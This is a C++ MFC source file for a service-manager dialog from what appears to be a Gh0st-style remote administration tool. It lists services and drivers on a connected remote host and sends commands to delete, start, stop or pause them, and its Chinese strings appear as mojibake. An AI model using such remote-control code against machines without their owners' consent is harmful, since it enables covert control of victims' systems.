559 lines
15 KiB
C++
559 lines
15 KiB
C++
// ServiceDlg.cpp : implementation file
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Client.h"
|
||
#include "ServiceDlg.h"
|
||
#include "ServiceInfoDlg.h"
|
||
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
#define ID_STATUS_SEARCH 41027
|
||
#define ID_STATUS_TYPE 41028
|
||
|
||
#define WM_SHOW_MSG (WM_USER+103)
|
||
|
||
extern CString strHost;
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CServiceDlg dialog
|
||
static UINT indicators[] =
|
||
{
|
||
ID_SEPARATOR, // status line indicator
|
||
ID_SEPARATOR, // status line indicator
|
||
ID_SEPARATOR, // status line indicator
|
||
ID_SEPARATOR, // status line indicator
|
||
ID_SEPARATOR, // status line indicator
|
||
};
|
||
|
||
CServiceDlg::CServiceDlg(CWnd* pParent , CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||
: CXTPDialog(CServiceDlg::IDD, pParent)
|
||
{
|
||
//{{AFX_DATA_INIT(CServiceDlg)
|
||
// NOTE: the ClassWizard will add member initialization here
|
||
//}}AFX_DATA_INIT
|
||
m_iocpServer = pIOCPServer;
|
||
m_pContext = pContext;
|
||
|
||
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_ICONSERVICE), IMAGE_ICON, 20, 20, 0);
|
||
|
||
nServiceType = 0;
|
||
|
||
}
|
||
|
||
void CServiceDlg::DoDataExchange(CDataExchange* pDX)
|
||
{
|
||
CXTPDialog::DoDataExchange(pDX);
|
||
//{{AFX_DATA_MAP(CServiceDlg)
|
||
DDX_Control(pDX, IDC_LIST, m_list);
|
||
//}}AFX_DATA_MAP
|
||
}
|
||
|
||
|
||
BEGIN_MESSAGE_MAP(CServiceDlg, CXTPDialog)
|
||
//{{AFX_MSG_MAP(CServiceDlg)
|
||
ON_WM_CLOSE()
|
||
ON_WM_SIZE()
|
||
ON_NOTIFY(NM_RCLICK, IDC_LIST, OnRclickList)
|
||
ON_COMMAND(ID_MENUITEM_REFRESH_SERVICE, OnMenuitemRefreshService)
|
||
ON_COMMAND(ID_MENUITEM_DEL_SERVICE, OnMenuitemDelService)
|
||
ON_COMMAND(ID_MENUITEM_START_SERVICE, OnMenuitemStartService)
|
||
ON_COMMAND(ID_MENUITEM_STOP_SERVICE, OnMenuitemStopService)
|
||
ON_NOTIFY(NM_DBLCLK, IDC_LIST, OnDblclkList)
|
||
ON_COMMAND(ID_MENUITEM_PROPERTIES_SERVICE, OnMenuitemPropertiesService)
|
||
ON_COMMAND(ID_MENUITEM_PAUSE_SERVICE, OnMenuitemPauseService)
|
||
ON_COMMAND(ID_MENUITEM_REGAIN_SERVICE, OnMenuitemRegainService)
|
||
ON_COMMAND(ID_MENUITEM_REBOOT_SERVICE, OnMenuitemRebootService)
|
||
//}}AFX_MSG_MAP
|
||
ON_CBN_SELCHANGE(ID_STATUS_TYPE, OnSelchangeComboServiceType)
|
||
ON_MESSAGE(WM_SHOW_MSG,OnShowMessage)
|
||
|
||
END_MESSAGE_MAP()
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CServiceDlg message handlers
|
||
void CServiceDlg::OnClose()
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
closesocket(m_pContext->m_Socket);
|
||
|
||
CXTPDialog::OnClose();
|
||
}
|
||
|
||
BOOL CServiceDlg::OnInitDialog()
|
||
{
|
||
CXTPDialog::OnInitDialog();
|
||
|
||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||
|
||
// TODO: Add extra initialization here
|
||
CString str;
|
||
sockaddr_in sockAddr;
|
||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||
int nSockAddrLen = sizeof(sockAddr);
|
||
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||
// str.Format("<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> \\\\%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
||
str.Format(_T("[%s - %s] <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"), strHost,bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
||
SetWindowText(str);
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
// ShowWindow( SW_SHOWMAXIMIZED );
|
||
|
||
m_list.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
|
||
m_list.InsertColumn(0, "<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 150);
|
||
m_list.InsertColumn(1, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 70);
|
||
m_list.InsertColumn(2, "״̬", LVCFMT_LEFT, 70);
|
||
m_list.InsertColumn(3, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 60);
|
||
m_list.InsertColumn(4, "<EFBFBD><EFBFBD>½<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
|
||
m_list.InsertColumn(5, "<EFBFBD><EFBFBD><EFBFBD>潻<EFBFBD><EFBFBD>", LVCFMT_LEFT, 60);
|
||
m_list.InsertColumn(6, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", LVCFMT_LEFT, 100);
|
||
m_list.InsertColumn(7, "<EFBFBD><EFBFBD>ִ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>·<EFBFBD><EFBFBD>", LVCFMT_LEFT, 250);
|
||
|
||
m_ImgList.Create(16, 16, ILC_COLOR32|ILC_MASK, 10, 0);
|
||
m_ImgList.Add(AfxGetApp()->LoadIcon(IDI_ICONSERVICE));
|
||
m_list.SetImageList(&m_ImgList,LVSIL_SMALL);
|
||
|
||
|
||
if (!m_wndStatusBar.Create(this) ||
|
||
!m_wndStatusBar.SetIndicators(indicators,
|
||
sizeof(indicators)/sizeof(UINT)))
|
||
{
|
||
TRACE0("Failed to create status bar\n");
|
||
return -1; // fail to create
|
||
}
|
||
|
||
m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL);
|
||
m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 70);
|
||
m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 130);
|
||
m_wndStatusBar.SetPaneInfo(3, m_wndStatusBar.GetItemID(3), SBPS_NORMAL, 100);
|
||
m_wndStatusBar.SetPaneInfo(4, m_wndStatusBar.GetItemID(4), SBPS_NORMAL, 130);
|
||
|
||
m_wndStatusBar.SetPaneText(1,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>:");
|
||
m_wndStatusBar.SetPaneText(3,"ѡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //<2F><>ʾ״̬<D7B4><CCAC>
|
||
|
||
RECT rect;
|
||
m_wndStatusBar.GetItemRect(2, &rect);
|
||
m_wndComBox_search = new CXTPComboBox;
|
||
m_wndComBox_search->CreateEx(NULL, _T("ComboBox"), NULL,WS_CHILD|WS_VISIBLE|WS_VSCROLL|CBS_DROPDOWN|WS_TABSTOP, rect, &m_wndStatusBar, ID_STATUS_SEARCH);
|
||
m_wndComBox_search->SetFont(m_wndStatusBar.GetFont());
|
||
m_wndComBox_search->AddString("program files");
|
||
m_wndComBox_search->SetCurSel(0);
|
||
|
||
|
||
m_wndStatusBar.GetItemRect(4, &rect);
|
||
m_wndComBox_type = new CXTPComboBox;
|
||
m_wndComBox_type->CreateEx(NULL, _T("ComboBox"), NULL,WS_CHILD|WS_VISIBLE|WS_VSCROLL|CBS_DROPDOWNLIST|WS_TABSTOP, rect, &m_wndStatusBar, ID_STATUS_TYPE);
|
||
|
||
m_wndComBox_type->SetFont(m_wndStatusBar.GetFont());
|
||
m_wndComBox_type->AddString("WIN32<EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||
m_wndComBox_type->AddString("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||
m_wndComBox_type->SetCurSel(0);
|
||
|
||
// HWND hWndHeader = m_list.GetDlgItem(0)->GetSafeHwnd();
|
||
// m_heades.SubclassWindow(hWndHeader);
|
||
// m_heades.SetTheme(new CXTPHeaderCtrlThemeOffice2003());
|
||
// m_heades.EnablePopupMenus(TRUE);
|
||
|
||
ModifyDrawStyle(XTTHEME_WINXPTHEMES, 4);
|
||
ModifyDrawStyle(HDR_XTP_HOTTRACKING, TRUE);
|
||
ModifyDrawStyle(XTTHEME_HOTTRACKING, TRUE);
|
||
|
||
SortColumn(m_nSortedCol, m_bAscending);
|
||
|
||
AdjustList();
|
||
ShowServiceList();
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// EXCEPTION: OCX Property Pages should return FALSE
|
||
}
|
||
|
||
void CServiceDlg::OnReceiveComplete()
|
||
{
|
||
|
||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||
{
|
||
case TOKEN_SERVICE_LIST:
|
||
ShowServiceList();
|
||
break;
|
||
default:
|
||
// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
|
||
break;
|
||
}
|
||
}
|
||
|
||
void CServiceDlg::ModifyDrawStyle(UINT uFlag, BOOL bRemove)
|
||
{
|
||
CXTHeaderCtrlTheme* pTheme = m_heades.GetTheme();
|
||
if (pTheme)
|
||
{
|
||
DWORD dwStyle = pTheme->GetDrawStyle() & ~uFlag;
|
||
|
||
if (bRemove)
|
||
dwStyle |= uFlag;
|
||
|
||
pTheme->SetDrawStyle(dwStyle, &m_heades);
|
||
m_heades.RedrawWindow();
|
||
}
|
||
}
|
||
#define BoolType(b) b?true:false
|
||
|
||
void CServiceDlg::SortColumn(int iCol, bool bAsc)
|
||
{
|
||
m_bAscending = bAsc;
|
||
m_nSortedCol = iCol;
|
||
// set sort image for header and sort column.
|
||
CXTPSortClass csc(&m_list, m_nSortedCol);
|
||
csc.Sort(m_bAscending, xtpSortString);
|
||
}
|
||
|
||
BOOL CServiceDlg::OnNotify(WPARAM wParam, LPARAM lParam, LRESULT* pResult)
|
||
{
|
||
HD_NOTIFY *pHDNotify = (HD_NOTIFY*)lParam;
|
||
if (
|
||
pHDNotify->hdr.code == HDN_ITEMCLICKA
|
||
||
|
||
pHDNotify->hdr.code == HDN_ITEMCLICKW
|
||
)
|
||
{
|
||
if (pHDNotify->hdr.hwndFrom == m_heades)
|
||
{
|
||
if (pHDNotify->iItem == m_nSortedCol)
|
||
SortColumn(pHDNotify->iItem, !m_bAscending);
|
||
else
|
||
SortColumn(pHDNotify->iItem, BoolType(m_heades.GetAscending()));
|
||
}
|
||
}
|
||
return CXTPDialog::OnNotify(wParam, lParam, pResult);
|
||
}
|
||
|
||
void CServiceDlg::OnSelchangeComboServiceType()
|
||
{
|
||
UpdateData(TRUE);
|
||
|
||
if (nServiceType == m_wndComBox_type->GetCurSel())
|
||
return;
|
||
nServiceType = m_wndComBox_type->GetCurSel();
|
||
|
||
BYTE bToken;
|
||
if (!nServiceType)
|
||
bToken = SERVICE_WIN32;
|
||
else
|
||
bToken = SERVICE_KERNEL_DRIVER;
|
||
|
||
m_iocpServer->Send(m_pContext,&bToken,sizeof(BYTE));
|
||
}
|
||
|
||
void CServiceDlg::ShowServiceList()
|
||
{
|
||
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||
char *DisplayName;
|
||
char *Describe;
|
||
char *serRunway;
|
||
char *serauto;
|
||
char *Login;
|
||
char *InterActive;
|
||
char *ServiceName;
|
||
char *serfile;
|
||
|
||
DWORD dwOffset = 0;
|
||
m_list.DeleteAllItems();
|
||
|
||
int i;
|
||
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
||
{
|
||
DisplayName = lpBuffer + dwOffset;
|
||
Describe = DisplayName + lstrlen(DisplayName) +1;
|
||
serRunway = Describe + lstrlen(Describe) + 1;
|
||
serauto = serRunway + lstrlen(serRunway) + 1;
|
||
Login = serauto + lstrlen(serauto) +1;
|
||
InterActive = Login + lstrlen(Login) + 1;
|
||
ServiceName = InterActive + lstrlen(InterActive) +1;
|
||
serfile = ServiceName + lstrlen(ServiceName) + 1;
|
||
|
||
m_list.InsertItem(i, DisplayName,0);
|
||
m_list.SetItemText(i, 1, Describe);
|
||
m_list.SetItemText(i, 2, serRunway);
|
||
m_list.SetItemText(i, 3, serauto);
|
||
m_list.SetItemText(i, 4, Login );
|
||
m_list.SetItemText(i, 5, InterActive );
|
||
m_list.SetItemText(i, 6, ServiceName );
|
||
m_list.SetItemText(i, 7, serfile );
|
||
|
||
dwOffset += lstrlen(DisplayName) + lstrlen(Describe) + lstrlen(serRunway) + lstrlen(serauto) + lstrlen(Login) + lstrlen(InterActive) + lstrlen(ServiceName) + lstrlen(serfile) + 8;
|
||
}
|
||
|
||
strMsgShow.Format("<EFBFBD><EFBFBD> %d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",i);
|
||
PostMessage(WM_SHOW_MSG,0,0);
|
||
}
|
||
// <20><>ʾ<EFBFBD><CABE>Ϣ
|
||
LRESULT CServiceDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
m_wndStatusBar.SetPaneText(0, strMsgShow);
|
||
return TRUE;
|
||
}
|
||
|
||
void CServiceDlg::OnSize(UINT nType, int cx, int cy)
|
||
{
|
||
CXTPDialog::OnSize(nType, cx, cy);
|
||
|
||
// TODO: Add your message handler code here
|
||
if (IsWindowVisible())
|
||
AdjustList();
|
||
|
||
// ״̬<D7B4><CCAC><EFBFBD><EFBFBD>û<EFBFBD>д<EFBFBD><D0B4><EFBFBD>
|
||
if (m_wndStatusBar.m_hWnd == NULL)
|
||
return;
|
||
|
||
// <20><>λ״̬<D7B4><CCAC>
|
||
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
RECT rect;
|
||
m_wndStatusBar.GetItemRect(2, &rect);
|
||
m_wndComBox_search->MoveWindow(&rect);
|
||
|
||
m_wndStatusBar.GetItemRect(4, &rect);
|
||
m_wndComBox_type->MoveWindow(&rect);
|
||
}
|
||
|
||
void CServiceDlg::AdjustList()
|
||
{
|
||
RECT rectClient;
|
||
RECT rectList;
|
||
GetClientRect(&rectClient);
|
||
rectList.left = 0;
|
||
rectList.top = 0;
|
||
rectList.right = rectClient.right;
|
||
rectList.bottom = rectClient.bottom - 20;
|
||
|
||
m_list.MoveWindow(&rectList);
|
||
}
|
||
|
||
BOOL CServiceDlg::PreTranslateMessage(MSG* pMsg)
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
|
||
if(::GetDlgCtrlID(::GetParent(pMsg->hwnd)) == ID_STATUS_SEARCH )
|
||
{
|
||
UpdateData( TRUE );
|
||
|
||
if( pMsg-> message == WM_KEYDOWN && pMsg->wParam == VK_RETURN )
|
||
{
|
||
UpdateData(TRUE);
|
||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><D8BC><EFBFBD>
|
||
CString str;
|
||
m_wndComBox_search->GetWindowText(str);
|
||
if(str.IsEmpty())
|
||
return TRUE;
|
||
|
||
// <20>ؼ<EFBFBD><D8BC>ʲ<EFBFBD><CAB2><EFBFBD>combox
|
||
m_wndComBox_search->InsertString(0, str);
|
||
m_wndComBox_search->SetCurSel(0);
|
||
|
||
|
||
// <20><>λ<EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>*<2A>ű<EFBFBD>־<EFBFBD><D6BE>ȡ<EFBFBD><C8A1> ȫ<><C8AB>δѡ<CEB4><D1A1>
|
||
CString Data;
|
||
int nCut = m_list.GetItemCount();
|
||
for (int i=0; i < nCut; i++)
|
||
{
|
||
m_list.SetItemState(i, 0, LVIS_SELECTED);
|
||
m_list.SetCheck(i,FALSE);
|
||
|
||
|
||
Data = m_list.GetItemText(i, 6);
|
||
int n = Data.Find('*');
|
||
if (n == 0)
|
||
{
|
||
Data = Data.Right(Data.GetLength() - 1);
|
||
m_list.SetItemText(i, 6, Data);
|
||
}else
|
||
continue;
|
||
}
|
||
|
||
int nSearch = 0 ;
|
||
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
||
for(int n = 0; n < nCut;n++)
|
||
{
|
||
// <20><>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
Data = "";
|
||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
for(int i = 0; i < m_list.GetHeaderCtrl()->GetItemCount(); i++)
|
||
{
|
||
Data += m_list.GetItemText(n, i);
|
||
}
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD>
|
||
if(Data.Find(str,0)!= -1)
|
||
{
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0> * <20><>
|
||
CString strTemp,strFind;
|
||
strFind = m_list.GetItemText(n,6);
|
||
int s = strFind.Find("*");
|
||
if (s == 0)
|
||
{
|
||
strFind = strFind.Right(strFind.GetLength() - 1);
|
||
}
|
||
strTemp = "*";
|
||
strTemp += strFind;
|
||
|
||
// <09><><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||
m_list.SetItemText(n,6,strTemp);
|
||
|
||
// <20><>ȡlist <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>
|
||
m_list.SetFocus();
|
||
m_list.SetItemState(n, LVIS_SELECTED, LVIS_SELECTED);
|
||
m_list.SetCheck(n,TRUE);
|
||
|
||
nSearch++;
|
||
}
|
||
}
|
||
strMsgShow.Format("<EFBFBD>ҵ<EFBFBD> %d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7><EFBFBD>",nSearch);
|
||
PostMessage(WM_SHOW_MSG,0,0);
|
||
|
||
return TRUE ;
|
||
}
|
||
}
|
||
|
||
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
|
||
{
|
||
return true;
|
||
}
|
||
return CXTPDialog::PreTranslateMessage(pMsg);
|
||
}
|
||
|
||
void CServiceDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
CMenu popup;
|
||
popup.LoadMenu(IDR_MENU_SERVICE);
|
||
CMenu* pM = popup.GetSubMenu(0);
|
||
CPoint p;
|
||
GetCursorPos(&p);
|
||
|
||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
|
||
|
||
*pResult = 0;
|
||
}
|
||
|
||
|
||
void CServiceDlg::PostNcDestroy()
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
if (m_wndComBox_search)
|
||
delete m_wndComBox_search;
|
||
if (m_wndComBox_type)
|
||
delete m_wndComBox_type;
|
||
|
||
delete this;
|
||
CXTPDialog::PostNcDestroy();
|
||
}
|
||
|
||
void CServiceDlg::OnMenuitemRefreshService()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
BYTE bToken;
|
||
if (!nServiceType)
|
||
bToken = SERVICE_WIN32;
|
||
else
|
||
bToken = SERVICE_KERNEL_DRIVER;
|
||
m_iocpServer->Send(m_pContext,&bToken,sizeof(BYTE));
|
||
}
|
||
|
||
void CServiceDlg::OnMenuitemDelService()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
SendToken(COMMAND_DELETESERVERICE);
|
||
}
|
||
|
||
void CServiceDlg::OnMenuitemStartService()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
SendToken(COMMAND_STARTSERVERICE);
|
||
}
|
||
|
||
void CServiceDlg::OnMenuitemStopService()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
SendToken(COMMAND_STOPSERVERICE);
|
||
}
|
||
|
||
void CServiceDlg::SendToken(BYTE bToken)
|
||
{
|
||
CString tSerName;
|
||
|
||
int nItem = m_list.GetNextItem(-1,LVNI_SELECTED);
|
||
tSerName = m_list.GetItemText(nItem,6);
|
||
|
||
int s = tSerName.Find("*");
|
||
if (s == 0)
|
||
{
|
||
tSerName = tSerName.Right(tSerName.GetLength() - 1);
|
||
}
|
||
|
||
int nPacketLength = (tSerName.GetLength() + 1);;
|
||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, nPacketLength);
|
||
lpBuffer[0] = bToken;
|
||
|
||
memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength());
|
||
m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength);
|
||
LocalFree(lpBuffer);
|
||
}
|
||
|
||
|
||
void CServiceDlg::OpenInfoDlg()
|
||
{
|
||
int nItem=-1;
|
||
nItem = m_list.GetNextItem(nItem, LVNI_SELECTED);
|
||
if(nItem==-1)
|
||
return;
|
||
|
||
CServiceInfoDlg pDlg(this);
|
||
|
||
pDlg.m_iocpServer = m_iocpServer;
|
||
pDlg.m_pContext = m_pContext;
|
||
|
||
pDlg.m_ServiceInfo.strSerName = m_list.GetItemText(nItem, 6);
|
||
pDlg.m_ServiceInfo.strSerDisPlayname = m_list.GetItemText(nItem, 0);
|
||
pDlg.m_ServiceInfo.strSerDescription = m_list.GetItemText(nItem, 1);
|
||
pDlg.m_ServiceInfo.strFilePath = m_list.GetItemText(nItem, 7);
|
||
pDlg.m_ServiceInfo.strSerRunway = m_list.GetItemText(nItem, 3);
|
||
pDlg.m_ServiceInfo.strSerState = m_list.GetItemText(nItem, 2);
|
||
|
||
pDlg.DoModal();
|
||
|
||
}
|
||
|
||
void CServiceDlg::OnDblclkList(NMHDR* pNMHDR, LRESULT* pResult)
|
||
{
|
||
// TODO: Add your control notification handler code here
|
||
OpenInfoDlg();
|
||
*pResult = 0;
|
||
}
|
||
|
||
void CServiceDlg::OnMenuitemPropertiesService()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
OpenInfoDlg();
|
||
}
|
||
|
||
void CServiceDlg::OnMenuitemPauseService()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
SendToken(COMMAND_PAUSESERVERICE);
|
||
}
|
||
|
||
void CServiceDlg::OnMenuitemRegainService()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
SendToken(COMMAND_CONTINUESERVERICE);
|
||
}
|
||
void CServiceDlg::OnMenuitemRebootService()
|
||
{
|
||
// TODO: Add your command handler code here
|
||
SendToken(COMMAND_STOPSERVERICE);
|
||
Sleep(100);
|
||
SendToken(COMMAND_STARTSERVERICE);
|
||
}
|